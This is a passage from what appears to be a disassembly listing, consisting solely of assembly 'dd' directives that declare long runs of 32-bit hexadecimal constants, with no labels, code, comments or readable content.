		dd 70868207h, 0C014F78Dh, 0B7E1830Fh, 3432173Ah, 84C1950h
		dd 0F75D1FF2h, 0D0DA0EB2h, 5CA213h, 900B0C73h, 0E2D6C9h
		dd 0BF8B3813h, 5C50D4D1h, 4E15630Bh, 0A0EC4BDBh, 7CBA9FFFh
		dd 1B88005Eh, 4E90A22Eh, 0FB09429Dh, 646FF9ECh,	2834640h
		dd 0E8D86653h, 61EC5EF7h, 0D8F62962h, 50913D22h, 4B60C280h
		dd 0D02AC4h, 630F742Ch,	6D0A456Bh, 709EB51Eh, 3EE28B40h
		dd 3EEB9CFh, 0F8FAE07Bh, 6B807F23h, 3200ABC3h, 9FD01CD6h
		dd 18619801h, 0C56E95Dh, 791496E0h, 0C89C843Ah,	215F6469h
		dd 18202628h, 425A884Ah, 0A080D894h, 0A15EB99h,	714400A6h
		dd 0FB0B4A30h, 305F166h, 0EA9B2757h, 0FCE850C4h, 44D9CA80h
		dd 0BCB8FB63h, 1716E301h, 99F3406Bh, 3C176C8h, 0B4271B2h
		dd 0AC51AFD1h, 0B1199238h, 1581F820h, 0E23C0094h, 1DC2D278h
		dd 790086D5h, 6F7ACFF0h, 0B8D1Bh, 0E0284645h, 621442E1h
		dd 0AD87E60Eh, 2CDE80EFh, 8B9EB8h, 0B57D4C26h, 0CDD20D77h
		dd 0CBEF9C1Fh, 676EB1CEh, 3650DE06h, 2FE81431h,	0B2F473E3h
		dd 1BD2B800h, 1BAAEB0h,	137AE147h, 8387E4E8h, 5853C47Eh
		dd 0B4A0EFF6h, 0F267E959h, 3FF10008h, 21616DC3h, 0FB77FD56h
		dd 0A34B720Eh, 0D969E19Bh, 40877C04h, 836058B3h, 117071EAh
		dd 78085763h, 0B556C838h, 657F50h, 0A527075Eh, 0B3D80FC0h
		dd 1477AF18h, 0C063C389h
		dd 9EF67C91h, 800B0A7h,	0E6C0BE3Ch, 3A368EBh, 1C7580DFh
		dd 0BD8EFEh, 0E30F7260h, 160EEC50h, 9E6AEF1Bh, 0B5CBF240h
		dd 2319CA8h, 260DF4E7h,	6077D680h, 0C1A422C3h, 6D96FA0h
		dd 6B64407Bh, 0F9AEEDh,	0F16E19h, 925C20B0h, 0DFFBAFA4h
		dd 1E93DB03h, 77C37Dh, 9C062581h, 9D61AAA1h, 38798500h
		dd 1E09EA49h, 0CEAD0098h, 7DA77BD7h, 6710F73h, 0AA8FA50Ch
		dd 749F983Bh, 7D43F21h,	0D0CC5C87h, 746FF020h, 9C3078ACh
		dd 941A9A6h, 0A2530396h, 79D38469h, 1CE1C890h, 0A5400767h
		dd 477D63D0h, 75361C2Ch, 6FED624h, 0E176ED53h, 0A573F118h
		dd 739143F0h, 0B54C00D9h, 2978877Dh, 49045174h,	85AF981h
		dd 0E1A1C6h, 41AA9F45h,	0DC4D97F3h, 66F8E900h, 0FDFD83Bh
		dd 0CE0701EFh, 0D9F9886Eh, 0CDFC517Ch, 44C0F8E4h, 0FC1D330Fh
		dd 0C6014E52h, 3020C7E3h, 0FBD9D29Ch, 221D5AC5h, 12F9BCE5h
		dd 3600AD1Ah, 0F69E4C54h, 0A62D00D6h, 81606CE9h, 3AE0A7FCh
		dd 7EE24A0h, 6AF38700h,	76AF4840h, 584D6005h, 0EDDA2D24h
		dd 0A1EEDD02h, 9084470Fh, 332FB84h, 9D27A842h, 0E9488F55h
		dd 6C5F1568h, 40483ABCh, 0EA4B001Ch, 2D43557Ah,	9B00F1C1h
		dd 0D7CC12E7h, 0DDA215h, 46813506h, 50D51385h, 0A371AE00h
		dd 31E56042h, 9C75033Bh, 0E32524Bh, 45DFDAC8h, 1D386849h
		dd 2C40E1F6h, 973A5D5h,	95973D08h, 0CEA911Dh, 6FE9EF7Bh
		dd 0FC3B36E6h, 0A403285Ah, 5C63D873h, 58DB49h, 36CE01B9h
		dd 1B664B89h, 64985D00h, 8F2EBBBh, 76330114h, 84FE5E8Ah
		dd 6FC453D8h, 0D20E900h, 637E1098h, 2104011Bh, 478DFE30h
		dd 202023C7h, 4C4B2075h, 5442EB0Ah, 880A05Fh, 81A40F52h
		dd 4CC50066h, 0E63F8AB9h, 5B52F65Eh, 918874ACh,	7BD6005Ah
		dd 301F2D2h, 4907F999h,	0AE110EDDh, 87862734h, 67780079h
		dd 42E3EAB8h, 0D63BDE08h, 268722EFh, 3003672h, 0BC1B1444h
		dd 62670C80h, 0D546FC06h, 0E8ACBBDh, 0E815B881h, 33700854h
		dd 6B2966D4h, 0F8517063h, 0E5790079h, 84BA5F32h, 67004EE7h
		dd 1C94F6D1h, 4CE36F87h, 0B3063462h, 0D952DE20h, 3418CC00h
		dd 8308809h, 0DC8500E4h, 55A6E9ABh, 74027FD3h, 1C0CA88Bh
		dd 702860EFh, 0F84A4CEEh, 0F169D986h, 0E14C8A00h, 2B8E45B2h
		dd 3DA50123h, 0F6BBAFC0h, 0B7403061h, 6DABE801h, 0D445AE29h
		dd 0C7C1422h, 0E19E3850h, 0AF04C411h, 0AEFE058Eh, 0F4ADD840h
		dd 0F80995C7h, 194C9E68h, 49F47B20h, 0B11207D5h, 37E332Eh
		dd 8BD041E3h, 4673F83Ah, 7DFC2B00h, 73E0BD3Bh, 5B618874h
		dd 0B7EF6300h, 3277852Dh, 5878D7h, 6FDAFF62h, 0A86E1D5Eh
		dd 0B1ED4E00h, 0D9C01372h, 0CD5B0055h, 10941273h, 241F93FAh
		dd 47D3988Dh, 2A596900h, 15C51BB4h, 0CC74F99Fh,	0A0EE102h
		dd 6FE0E920h, 12074244h, 0FB08B107h, 0EF3F2E1h,	39DDB430h
		dd 3DBEFF5Eh, 22F80780h, 5AC6EACDh, 820278B0h, 0EEC73F97h
		dd 5C69E017h, 2DF401FDh, 4C66B5AEh, 0B041CA5Eh,	959830D8h
		dd 0B822F924h, 9A278787h, 0F25C0630h, 62970137h, 9EA367A6h
		dd 7446055h, 8228CF48h,	8003B82Eh, 326A229Bh, 677404DAh
		dd 0C0F9BE54h, 71FBB78Ch, 0B43B4424h, 0A791F341h, 7451E050h
		dd 0CF1B1813h, 0BCD6515Eh, 104D1100h, 0EFD9869Bh, 31FE07AEh
		dd 13DDCFEAh, 0A9124379h, 0F4409DDBh, 0E04DE17h, 4AFC00B1h
		dd 0E6349523h, 5B588099h, 888A2CF6h, 16F2E340h,	0F8DA181Eh
		dd 7FB9494Ah, 1366E600h, 3AC97679h, 3E6E010Eh, 1B11411Dh
		dd 6402374h, 0E262A9B8h, 0B6542411h, 32EC8ADCh,	0E8450470h
		dd 0FC3053D3h, 796216h,	3C93F7D6h, 82596D3Ah, 0EFB8370Eh
		dd 89258BB9h, 0FB88854Ah, 9B5F9C09h, 0FAD8AB10h, 0D7308272h
		dd 11711129h, 85D99FEEh, 0F333F02Ah, 0DE5A6801h, 7B52E54Eh
		dd 0C0AAC2E6h, 3A905370h, 8081D845h, 5135E16Ah,	47CDEDD7h
		dd 0DAD6F310h, 0F7F66113h, 1E8AE000h, 7F0F77h, 80466175h
		dd 0CC637BF9h, 2FC1D989h, 0EA45A851h, 26242040h, 87351E7h
		dd 1DA87730h, 396BB7h, 0E4AC500Dh, 1A06FA80h, 0ADE873E2h
		dd 1530028h, 0E096AEB3h, 6848FB64h, 8D390EB2h, 0E820124Eh
		dd 0B6B210h, 53CAB80Dh,	0AF8FE13Ah, 0E60094FCh,	0F6FFAB1Fh
		dd 0FBF4BF5Ch, 12066830h, 30F199EFh, 76392540h,	60127EFCh
		dd 30100F8Eh, 0D52A80E4h, 4A4C88C0h, 25C12F5h, 2FF1A76Ch
		dd 5B282844h, 0FD0618C1h, 5848594Ah, 0F95F191Ch, 489CA946h
		dd 800A2D8h, 0FB0198Fh,	0CF8CCh, 594E9F92h, 0A70AF6F7h
		dd 0F47F3401h, 6EE64540h, 1573D020h, 0F4F2F543h, 70C8001h
		dd 897EDEDDh, 2056DB79h, 1E413F14h, 4E260052h, 2977C9FFh
		dd 6D16B5BAh, 0CC3279D9h, 0A208C008h, 8639D36Eh, 9298610Fh
		dd 244CBD3Ah, 1276E0F8h, 27D99A38h, 23CEA0C8h, 0A900F853h
		dd 1171A5B4h, 3E199983h, 0D703ACA8h, 0FC976074h, 0C83005D7h
		dd 0F958D478h, 0C427937Ch, 77604999h, 28CBE4h, 43DD6E94h
		dd 0F7908F6Bh, 40EC1600h, 60E97820h, 184891ACh,	0F558397Dh
		dd 14572D1Ch, 642C470Ah, 6D70183Eh, 289831h, 0F7262EF9h
		dd 185D012Fh, 58D3BF07h, 0E10077CAh, 57B51CCh, 0EEB26070h
		dd 6884E4h, 0ADF21E5Ch,	0DA264B8Fh, 45412CDCh, 6824EB62h
		dd 0D9F960C3h, 0BD635D91h, 2E6F03Bh, 4AEA9726h,	68C4A3h
		dd 32795A9Bh, 4121F0D5h, 3BFD3E05h, 2C14BFA6h, 0AE887F28h
		dd 14B100D1h, 0EE7B8E48h, 941880FBh, 6C80A411h,	0AC4743h
		dd 5EF735FAh, 0D7E536h,	3860A25Bh, 71B5A8A4h, 295DCC32h
		dd 62F5C088h, 3DFCE044h, 6D063025h, 0B0E62327h,	3CF05E24h
		dd 80686A41h, 4A53399Ch, 314FBEFh, 37817827h, 0D8D92112h
		dd 1F15C2Ch, 9DACE564h,	0D0C140F2h, 51C96239h, 0F50010F8h
		dd 2DBD0022h, 0F55BADFh, 8800714Ah, 0FC9C32E1h,	3E1BFD39h
		dd 0A57FB997h, 0C3940E94h, 724715E0h, 0CF300F76h, 48B9618Bh
		dd 0DBF500FEh, 0DC8102C9h, 900482F6h, 0C3644A5Bh, 0E100A4h
		dd 0AE4836C0h, 19BD0F0Ah, 82F7871Eh, 0D6700806h, 386D0769h
		dd 40E90911h, 48652D99h, 369DDE00h, 0AC4E78CCh,	0EBAE0A3Ch
		dd 92D4B0F3h, 0BA5420F8h, 7005828h, 89FBD41Dh, 8A432E9h
		dd 6C2CFE5Eh, 0E8779C0Ah, 0CD051E80h, 77CB742h,	6CA68F79h
		dd 35BF010h, 5F14555Eh,	0C8D0F873h, 15D5C020h, 0D1E62CFCh
		dd 0ECADB805h, 845FFFEh, 18C138F4h, 4182C7EDh, 1353A8E1h
		dd 0B05BA46Ah, 696ADB0Ch, 5BD50010h, 2ABF523Ch,	63132571h
		dd 0A4005C0Dh, 2C5FCE70h, 0A7FC2E26h, 0BD941F4h, 584434E5h
		dd 8439D4Eh, 0E097577Ah, 0DF2FE2h, 140E87E7h, 0D99F0209h
		dd 0C0885E54h, 0C688951Fh, 0B900A2DCh, 1FDE31D3h, 43930247h
		dd 81FF083Bh, 5E3D2450h, 30A452F3h, 90C169D4h, 6A2C00F6h
		dd 882B2481h, 0DD00D9A9h, 2702F7E5h, 1846B1h, 0AEED97EEh
		dd 7224961Fh, 20500100h, 0A1AF1581h, 7ABAF4F1h,	0EFD300ACh
		dd 2B548483h, 0EC167ADDh, 24004D38h, 70051DCEh,	0ADE0A86Eh
		dd 0CBF03B55h, 0D4D5900h, 0FD9B9DCh, 0F720BC02h, 44EAD896h
		dd 63451A7Ch, 0E441B1A0h, 0FD0C4187h, 440B08D5h, 1322AB7Ah
		dd 261898FBh, 63F01BD4h, 4F8808A4h, 3217A820h, 60002D5Fh
		dd 3A4C2769h, 6E31009Eh, 4A3EED9Ch, 0AAE01373h,	1C3B860Fh
		dd 0C08B0043h, 0E5AE2D9h, 837CBCC5h, 7F7BFA47h,	971326A3h
		dd 1B6789E0h, 6022F800h
		dd 0D55AC6EBh, 0D0FD0F10h, 5789DCCBh, 24A264A3h, 5EFAB788h
		dd 1FECA43Eh, 5C802BE0h, 7019C4BAh, 4D010F34h, 7382E858h
		dd 0DC91D778h, 1829C3h,	60DD8433h, 0F38DE35h, 149E7023h
		dd 0C913B640h, 780B1F27h, 8AEDCE8h, 7500F284h, 9523807Ah
		dd 0B03759F4h, 0D082E059h, 0EF20D577h, 704E2Fh,	3678829h
		dd 723A0FF2h, 0F122E000h, 24AB9CDAh, 0B94E1617h, 0A2D830E2h
		dd 74A1677h, 32486C20h,	3EEA00C9h, 0AD1B5FEDh, 2909EB77h
		dd 0E4855A8Bh, 0BF160048h, 46727C98h, 0E9F659FDh, 6249F5F8h
		dd 65071098h, 0F4206B83h, 41F83915h, 0BA7A77ACh, 19422E03h
		dd 9094A531h, 1A12205h,	0A013A374h, 88F5269Dh, 0BE45AB39h
		dd 5280B43Bh, 0A8E04933h, 2800DCFAh, 270772F6h,	0E4A98F37h
		dd 760B81Ch, 8931CDA5h,	0EC00EA4h, 1229BD49h, 16EC4700h
		dd 8EE437E1h, 2D8B0007h, 4E9CC28Ah, 40269D0h, 0DD4DFD5Eh
		dd 8CECB3h, 0E3EC186Eh,	7C419A6Ah, 0D97DD00h, 0DCB1E6BFh
		dd 0B4AF0E1Ch, 1F21235Eh, 32A33449h, 0FA943A68h, 89E8F000h
		dd 3DD8DD24h, 0B0C71207h, 0CFF43088h, 60038675h, 0C68A6471h
		dd 5B82B896h, 22A600B5h, 73C40D4Ch, 9A003A94h, 6833A08Dh
		dd 2EEF091Dh, 27ECAFABh, 10DDF031h, 0BF6E7Ah, 1C98DC75h
		dd 0B0F73E36h, 550D9902h, 825B6B42h, 0C4A25E54h, 270F04E0h
		dd 0C05AEC25h, 43E2FB48h, 5002479h, 38B0418Fh, 0E94A31h
		dd 73AB07ECh, 0A541C72h, 0E6A40301h, 7793A8F9h,	683545D1h
		dd 88F56830h, 0C600E831h, 41F60C44h, 5456BDh, 63BFBA8Dh
		dd 8F489430h, 9842A42Eh, 0A86CEF08h, 0E7610F8Ch, 0B9600144h
		dd 0F4BCC0FAh, 0A2630B16h, 5B6AA820h, 0BC0082ADh, 63EABFF9h
		dd 92C018B6h, 7F163147h, 9BEB1CA4h, 8A72000Eh, 3A64D72Ch
		dd 0B8B0B402h, 5268361Bh, 0BC1CA040h, 81A60014h, 66EA733Fh
		dd 4C7BF3ABh, 0CB05D67Ch, 0D0454ED5h, 8CDDF0CCh, 0FF80E899h
		dd 0F664EBFAh, 0DF7D008Ah, 8624D16Ch, 0E8267B91h, 6A442088h
		dd 765B0240h, 1032240h,	807587E1h, 0A6CA815h, 0CC1B3184h
		dd 0AEF438h, 0F3BB24h, 0C3671181h, 86260D0Ah, 0BC1D0C00h
		dd 9D5169C0h, 896200B8h, 0AFE80996h, 0DD387188h, 2C3A0066h
		dd 0FC79938Ch, 0EC494C6Eh, 0C386084Ch, 5009186h, 339D4135h
		dd 58DD0FF5h, 0D0C40404h, 11DE22A6h, 0C97039F3h, 0DBD048A7h
		dd 20B25B39h, 157227B4h, 14AB7100h, 0FD2CA2F5h,	9D1715FBh
		dd 2480E8EFh, 19976B5Ch, 832D802h, 404F3BCFh, 30455360h
		dd 0B751D962h, 7D00F623h, 2D04EA12h, 26DE219Eh,	6B8BE19h
		dd 0D9E9E09Dh, 8040F824h, 3557E480h, 1E3F4CC2h,	3D43ACDFh
		dd 0DB45E280h, 0D34AF007h, 0A4060826h, 8EB21700h, 0B59B3Fh
		dd 6D721D77h, 8FB3E81Ch, 3ADB1E00h, 0EB33D606h,	0D481010Eh
		dd 25BCED2Bh, 57DEC0DFh, 40027676h, 0DB4CCE5Dh,	0A1784831h
		dd 606C9465h, 400B8922h, 3E9CD900h, 9FD5EADDh, 2D6F16F7h
		dd 0C048808Bh, 0D84BEDE2h, 57BCA430h, 0F64373h,	837FB98Bh
		dd 70F84DBh, 1B446158h,	418AC09Fh, 8CE82C57h, 9F806839h
		dd 6382AFADh, 4660EA7Bh, 0B3EDFFC4h, 0B00FAAE8h, 0E97B27A8h
		dd 0BC8E4092h, 708AABE4h, 0DB5BD9h, 9888391Ch, 0BFFCCADEh
		dd 0A99138h, 38B13A6Bh,	90722D7Fh, 28DB481Ch, 8084EF04h
		dd 0AC8A537Ah, 6DEA8900h, 8199BC3h, 6B765F00h, 0FFDBB165h
		dd 14F30057h, 0B99FEDFBh, 614804D8h, 89D780C8h,	0B08D635Eh
		dd 9075521Ch, 0EAD6FC02h, 0B8CC4C43h, 610C3888h, 8DE8A100h
		dd 0BE7A41BCh, 0C1C40126h, 80B50F36h, 0FC8450CEh, 924F67A4h
		dd 0BB12C420h, 0F2D75CAFh, 0F8A8064Ah, 0F5006173h, 0E566463Ah
		dd 0D83EF0h, 0B84317CEh, 53BC084Ah, 278A6F02h, 98EE7826h
		dd 0A076B5B4h, 2E1E545Ch, 24045EAh, 0A4230767h,	0A8D964C2h
		dd 0BCC2740h, 0FA820031h, 55F086AFh, 0B41FCE23h, 96D7D091h
		dd 4F0EB000h, 1548EBDh,	0EC7660A8h, 41A50192h, 69276A0Ch
		dd 0A0F8251Ch, 955A3F98h, 83FE0E6Eh, 0E360C24Bh, 6AE7F709h
		dd 0D6CC444Ch, 6074F900h, 2C037CABh, 2630F9ACh,	0D738C360h
		dd 316E99D9h, 45FC08A4h, 0C8481E4Ch, 0FBE78058h, 97496CBBh
		dd 9482A801h, 848FE94Fh, 72B1434h, 95E19BFCh, 85BB2151h
		dd 2D03DD9h, 7BB6E391h,	39D640F3h, 0A9EE0016h, 5C730229h
		dd 5A054A53h, 440FFD87h, 0ED6BC802h, 9298C786h,	4E1C90FEh
		dd 0A838388Dh, 8B3C8037h, 5B4F717Bh, 0AB163F2Eh, 7F2A9C03h
		dd 314DC224h, 0B0B200B0h, 6C2B380Dh, 76410DDBh,	0C4616BF3h
		dd 8496C23Bh, 0D197803Dh, 0F4A8B8A6h, 7DCB1CC7h, 49164994h
		dd 8688489h, 0CD0055B7h, 0D369EFCEh, 0C7C84B2h,	4CF86217h
		dd 0A601E079h, 585612A4h, 43E4DE27h, 53A808D1h,	6F00D29Dh
		dd 17BFE177h, 3B1BFE33h, 0C4071EC7h, 600D0CE9h,	0D98365C3h
		dd 3CA56A2Eh, 0D06195h,	175F48E2h, 1FCE140h, 57AADB34h
		dd 217E4C64h, 18EC697Ch, 39B1FB54h, 0BB48014Dh,	0BFF6A947h
		dd 0F4F1F28Bh, 2970CF0Ch, 5E591337h, 0B4830117h, 0D0EBE074h
		dd 0FF0783B2h, 0AF26548Ch, 0FD5C3A11h, 45A07068h, 0B000F4B5h
		dd 7049B49Bh, 0E9DB67h,	5532ACD6h, 989EA0CEh, 5E173F74h
		dd 0D4D199F3h, 5003ADEAh, 27204CF8h, 83F6562Ch,	0D3AFCD00h
		dd 981CA85Bh, 66F54478h, 0BF96820Fh, 0BE16A039h, 9E6A8Dh
		dd 9454A2C2h, 3A32A542h, 0F65ED808h, 7B7804AAh,	8018AC97h
		dd 4AE18973h, 0C0689C14h, 36D1CABh, 930F600Bh, 1B44E8EDh
		dd 94980470h, 0F761FC7Bh, 554300ACh, 4203C216h,	94E54B27h
		dd 0A6148128h, 77886028h, 0C68F70B6h, 91A7E03Ah, 48E97F1Fh
		dd 59075F43h, 0C088B585h, 7CD25AC9h, 4A73470Eh,	0E14223E8h
		dd 50D79A99h, 5010000h,	0BEB42159h, 0E30FA2D4h,	8098EBB0h
		dd 0B72F69ADh, 0EC2F885h, 79321F39h, 0A184A500h, 0D7049EC8h
		dd 52DB4D88h, 1E311340h, 202857B0h, 0D805A6C1h,	0E428CC3h
		dd 0DB028512h, 80703A09h, 0F75AD060h, 613E0018h, 669A5624h
		dd 0C30B0267h, 801BFEDFh, 29794A83h, 40D94FA0h,	232F8F10h
		dd 0B1003ED4h, 67FB159Eh, 5ED7C0EEh, 3050526Bh,	0DDF7CD78h
		dd 0EDAF2E0Eh, 4E5F6261h, 325EE036h, 0F3662542h, 0C32A74C4h
		dd 0AD3BC462h, 0BEB180B8h, 3D57823Fh, 0E0F00024h, 0F1D9279Ch
		dd 6CE1E171h, 1FAFB008h, 0F1D317EFh, 5BA021ABh,	92F06CA5h
		dd 0B2AC4A1h, 0C848F9B0h, 0DB005A25h, 0CC61D63Eh, 1A041ACh
		dd 20F755C7h, 0FCAF6A8Fh, 0E096602Fh, 808ADF16h, 0E853750Ch
		dd 311EC90Ch, 0C87F6DD5h, 0D0944DE0h, 537380D8h, 1E9CC5h
		dd 0CAE3BE3Fh, 0D2DC56B5h, 120BCF00h, 34DE5047h, 0AC2352EAh
		dd 8F019B00h, 1BFDF2B3h, 9DD06250h, 0C300BC91h,	0E652234Eh
		dd 6BD60080h, 3FAE8E45h, 585453B3h, 3A002A14h, 64E9D4E8h
		dd 71B2041Eh, 52C8006Ch, 6F4843Bh, 8040AD8h, 6F19AE40h
		dd 49388E4h, 5B6A82B4h,	7CC95362h, 0FB1AE8EBh, 0B1C14F3h
		dd 0D4010CA5h, 0DAF83748h, 5A2C60AFh, 26381200h, 4B9F481h
		dd 254C7656h, 0C8E8D9F9h, 70010F2h, 729E0F74h, 0EA43AAA7h
		dd 9144AC81h, 0C24880A4h, 2862F4C6h, 8C0295FCh,	516B2BE2h
		dd 465485F5h, 5B22F440h, 3A3C9E18h, 4CBA8097h, 0EE653A12h
		dd 7F36CB01h, 9EC85EC6h, 0A0E1589Dh, 7BF95380h,	0D89407D9h
		dd 323181BCh, 612E1677h, 540C81E4h, 890835h, 1442ECCCh
		dd 0F1A4EFEDh, 0C848BC48h
		dd 446A3Eh, 0FC81D048h,	0F4A01187h, 63307B80h, 7AB831ADh
		dd 0D6FB16FAh, 20B004BFh, 50F121EEh, 3B004708h,	168BE6A3h
		dd 63A95F8h, 4693FA68h,	0D24539B8h, 0F4FAFEh, 0F3A671E0h
		dd 7067DD09h, 9E3FA000h, 0EB2BFA73h, 639C4B9h, 0B9784C87h
		dd 53C3009Fh, 0EC498B66h, 837BC89Ch, 56CEDC04h,	4C84506Dh
		dd 0C81BD023h, 6041B4h,	0B008B9E9h, 156E1270h, 0D488AF00h
		dd 3AC8678Ch, 1878E5h, 0BA77FE05h, 39017BF5h, 0A5B98300h
		dd 0D5CEEBE8h, 6CF241h,	0EC450497h, 51F708FCh, 0CCF61B00h
		dd 9FF0B53Bh, 849617C7h, 0DDC909Ch, 0E6383DACh,	0D16A8073h
		dd 0F7519906h, 0F6050A5Ah, 4ACA3E3h, 4072D960h,	0AB77ACB3h
		dd 1710DF8Ch, 450821EAh, 78242FD7h, 5A6B7820h, 2CCCA489h
		dd 25AC41FBh, 881C24E6h, 52800F53h, 23E6AF2h, 94F0001Dh
		dd 91BA9531h, 0AB16D7FEh, 0F490CC71h, 47FED58h,	0A7F431A5h
		dd 6040D6A6h, 0BCE1F62Ch, 0D5060F81h, 0F7608DD0h, 2AC1C070h
		dd 0DE20A2D7h, 36809896h, 68390A05h, 0A5FC3CB4h, 96123300h
		dd 82CD433Ch, 88BC7401h, 5CE56C1Fh, 0E1225469h,	62FD4516h
		dd 50009824h, 3F8A3267h, 0C9E74B07h, 5F74C89Ch,	0EC859100h
		dd 0F47B1135h, 580E24A4h, 710B074Fh, 0AC447405h, 4AE81340h
		dd 0E2FBA09Ch, 520D018Fh, 0A3C2BCA9h, 94E060A4h, 5FCDA0C4h
		dd 49CC0444h, 13A002AFh, 6CB00C79h, 28E8B7Ch, 8F3041CBh
		dd 2D60F0DDh, 0A8A41CB8h, 306A0844h, 53317652h,	19D4D145h
		dd 0EE9D03DCh, 0EF48F860h, 0FB4D23C0h, 8CA4483Dh, 0D0E220C7h
		dd 2D3EF395h, 6ED9E303h, 25A103C3h, 10E8F8C0h, 3703CD3Dh
		dd 68E9CCEh, 6446C04Dh,	0D2C0914h, 18E8A538h, 541F9CB7h
		dd 150052BFh, 59920F19h, 0B69A0334h, 75F62243h,	214001B2h
		dd 0F0F6AB76h, 0F2682704h, 0FC886D77h, 80A261BEh, 0DFE9AF53h
		dd 992880CCh, 7C2EF73Ch, 0D1370DBh, 0CA00B8A7h,	0C617B533h
		dd 4903AB55h, 40F27A10h, 3058C6FAh, 53F94B27h, 9A2C82F8h
		dd 0C5408CF9h, 0B1DA8A0h, 0F4541BE2h, 0ED916C01h, 929C4151h
		dd 4CD8D92Fh, 47785488h, 1F8A093Fh, 95001240h, 705628D7h
		dd 0B5F830CCh, 3381F3C1h, 2AC0DE02h, 4B4907C7h,	94183FCCh
		dd 27098F80h, 0D969E195h, 4FCCDC52h, 0D59F2080h, 0F33E073Dh
		dd 127B043h, 30EAD36Eh,	78906874h, 8090A4Eh, 0D3E8C445h
		dd 4054CD18h, 767E4960h, 8A658240h, 20441442h, 23E9D01Dh
		dd 20821812h, 1FC0D1AFh, 9AF62227h, 0AC92944Bh,	0D15C62DBh
		dd 32803F4Ch, 4022465Eh, 0C700FA82h, 3CC2A7EEh,	2525F973h
		dd 4042765Dh, 0A620E002h, 51FC38h, 5F2A6B30h, 0EABDC316h
		dd 47BBF608h, 932012B8h, 0B2AC5E7Ch, 0EE0B13A4h, 0B7394F4h
		dd 0A27792AAh, 2B9C3411h, 0DAB7442h, 6DFBC07Dh,	0C5048F2h
		dd 28599ACDh, 4B1E87A4h, 0C53A9EE0h, 920701E1h,	0D2F98C84h
		dd 0F0FAC6F1h, 1A15B809h, 583404B3h, 75105A32h,	3F422460h
		dd 2B47007Dh, 0E24C49BCh, 4862B3EEh, 46FB5BD9h,	0E915F8E0h
		dd 5408F5D4h, 38226CD5h, 54224C90h, 9FBCEC00h, 0AB025E3h
		dd 1DEB00FEh, 0F0FB8A7Ch, 99092BCAh, 64802A76h,	890A0094h
		dd 98352555h, 0BE0096DEh, 0B21F3A2Fh, 927CBD5h,	1B5A896Dh
		dd 442CC825h, 1877A68h,	0B163AF9Bh, 27C470DEh, 0F020DBAEh
		dd 518A868Ch, 363A9000h, 87768D6Eh, 93D0041h, 0D635AA06h
		dd 150055F2h, 4BA883E1h, 0A9715FB9h, 0F08FAD8h,	0C55CDD5Ch
		dd 0CC591F9h, 876DE471h, 0BC634511h, 0F3ED0039h, 1FDE99Fh
		dd 0DCF5504Dh, 0DC474D2Ah, 62841D2Ch, 2044FE5Eh, 0F34302FAh
		dd 0A4A77228h, 28EE00C4h, 746676D3h, 4048331h, 41057D79h
		dd 8A7FA88Ch, 1D40BC5Eh, 5FCED8h, 91418EF9h, 49C6F6BBh
		dd 3F66B13Eh, 0A724F834h, 0CD0A007Ah, 9A444094h, 53C940BCh
		dd 8EBF748Fh, 3E007E8Eh, 26A3B654h, 3CCA8D24h, 22C54810h
		dd 49B4C887h, 6244D4BCh, 2756805Fh, 0B9F3A43Ah,	0C8B3C900h
		dd 0F1CD9668h, 48C400A9h, 0BEFA9B78h, 5702CC0Eh, 0AD6FFC20h
		dd 0BCF880F5h, 6962A9h,	0EBEA4A43h, 0BADC97E6h,	0E0C0124Ah
		dd 4EAC53BFh, 9DD4C80Eh, 34BD4E00h, 0D4D369BEh,	9AB00239h
		dd 0FD21A86h, 0B5C3448h, 8A2A5744h, 0EE759C40h,	16C59404h
		dd 68D8EAC7h, 75C1727h,	0DD282185h, 50212B05h, 3B12DA63h
		dd 0D5FFB482h, 0EE214450h, 7CF8086Ah, 0A815A0A6h, 6C221BF8h
		dd 4054E249h, 9FD64587h, 0B8050492h, 0F7584B30h, 115AA099h
		dd 282A266Ah, 0DD009B90h, 3BCFA823h, 0F92BFAh, 0D0C20515h
		dd 0A54C81E7h, 0A316C098h, 24CC344Eh, 7155018Bh, 7BFDD4FBh
		dd 342D6A5Fh, 1E34CCh, 0FABB7CE7h, 62B3EA3Fh, 21A164A8h
		dd 4C202AFFh, 0FFDAF4Dh, 651ADEA4h, 19FACB60h, 0CF3DD292h
		dd 1C4C81EFh, 0A50D4203h, 3C17A079h, 4883001Dh,	0D6447CC3h
		dd 0EE8D3Bh, 2481F47Eh,	98921E6Dh, 47DC945Ch, 65D1003Ah
		dd 2F079315h, 0EC1DD9EEh, 0C2DB94C2h, 2C88C0E4h, 60D8BB68h
		dd 1AC08EC9h, 103C354Ch, 5C4C88D9h, 58394830h, 0A804F4A0h
		dd 71C0133Eh, 16A5E340h, 84EA98AEh, 0A7044A75h,	5EC9961Eh
		dd 9F1D70C0h, 0A62500E4h, 0C0B47297h, 6DB801DAh, 24736100h
		dd 38073386h, 1EB532D8h, 0A0D43064h, 0D060C0A1h, 0FC261996h
		dd 95511272h, 0E414088Dh, 0ECB70D64h, 0FAFC1F00h, 0A036B939h
		dd 18004D7Ch, 202AB4EBh, 13B58D07h, 0B2D097FCh,	0F53B0070h
		dd 1C5D0D51h, 6C7A00F0h, 0B7F94330h, 0F109A8CEh, 48AD2EA7h
		dd 8A0BFD10h, 9D000066h, 0C39553C7h, 0E0BC67E7h, 5E7D05AEh
		dd 836CD42Eh, 80AC8D38h, 4AF7FF44h, 1305018Ch, 1634AE41h
		dd 32043015h, 8F92373Dh, 67C4EC45h, 3AA12E35h, 31C0D525h
		dd 776777C1h, 0A5A0C02Fh, 0A3817444h, 0FE38F412h, 0A0518C20h
		dd 0CEE657h, 0FD709AEBh, 0D9A7CBDBh, 0AF276600h, 0EF390FCDh
		dd 88572E01h, 206A0400h, 8314C825h, 0B347F500h,	21915ECDh
		dd 0EC91DEh, 513018B8h,	0F8B0FE63h, 0A544A069h,	0D08845F8h
		dd 0F9D7032Ah, 29336819h, 0D178C1ECh, 9F747D59h, 59AB600h
		dd 76E545h, 512B7813h, 9DCCD2ADh, 0D649201h, 77B4C5EBh
		dd 0B504DC68h, 0C44CBA37h, 9278A820h, 0A1305C1Dh, 30AEFFF5h
		dd 35E0F487h, 2A848041h, 15507093h, 84A1EA15h, 81308508h
		dd 0EE705F42h, 0ADFC025Ch, 0D9B6754Ah, 64C1FCE0h, 0BC904484h
		dd 1310ACB8h, 4411BFD8h, 27E0488Fh, 8C2C6877h, 9FD80020h
		dd 2140DC70h, 48008E90h, 0DB10D71Ah, 2E8C3784h,	540F61h
		dd 2AFE5C23h, 0B9008F36h, 93C3296h, 16C0E549h, 61B2C6C7h
		dd 0C0C97644h, 65034DFEh, 0B4238C58h, 150B90DFh, 4C66380Dh
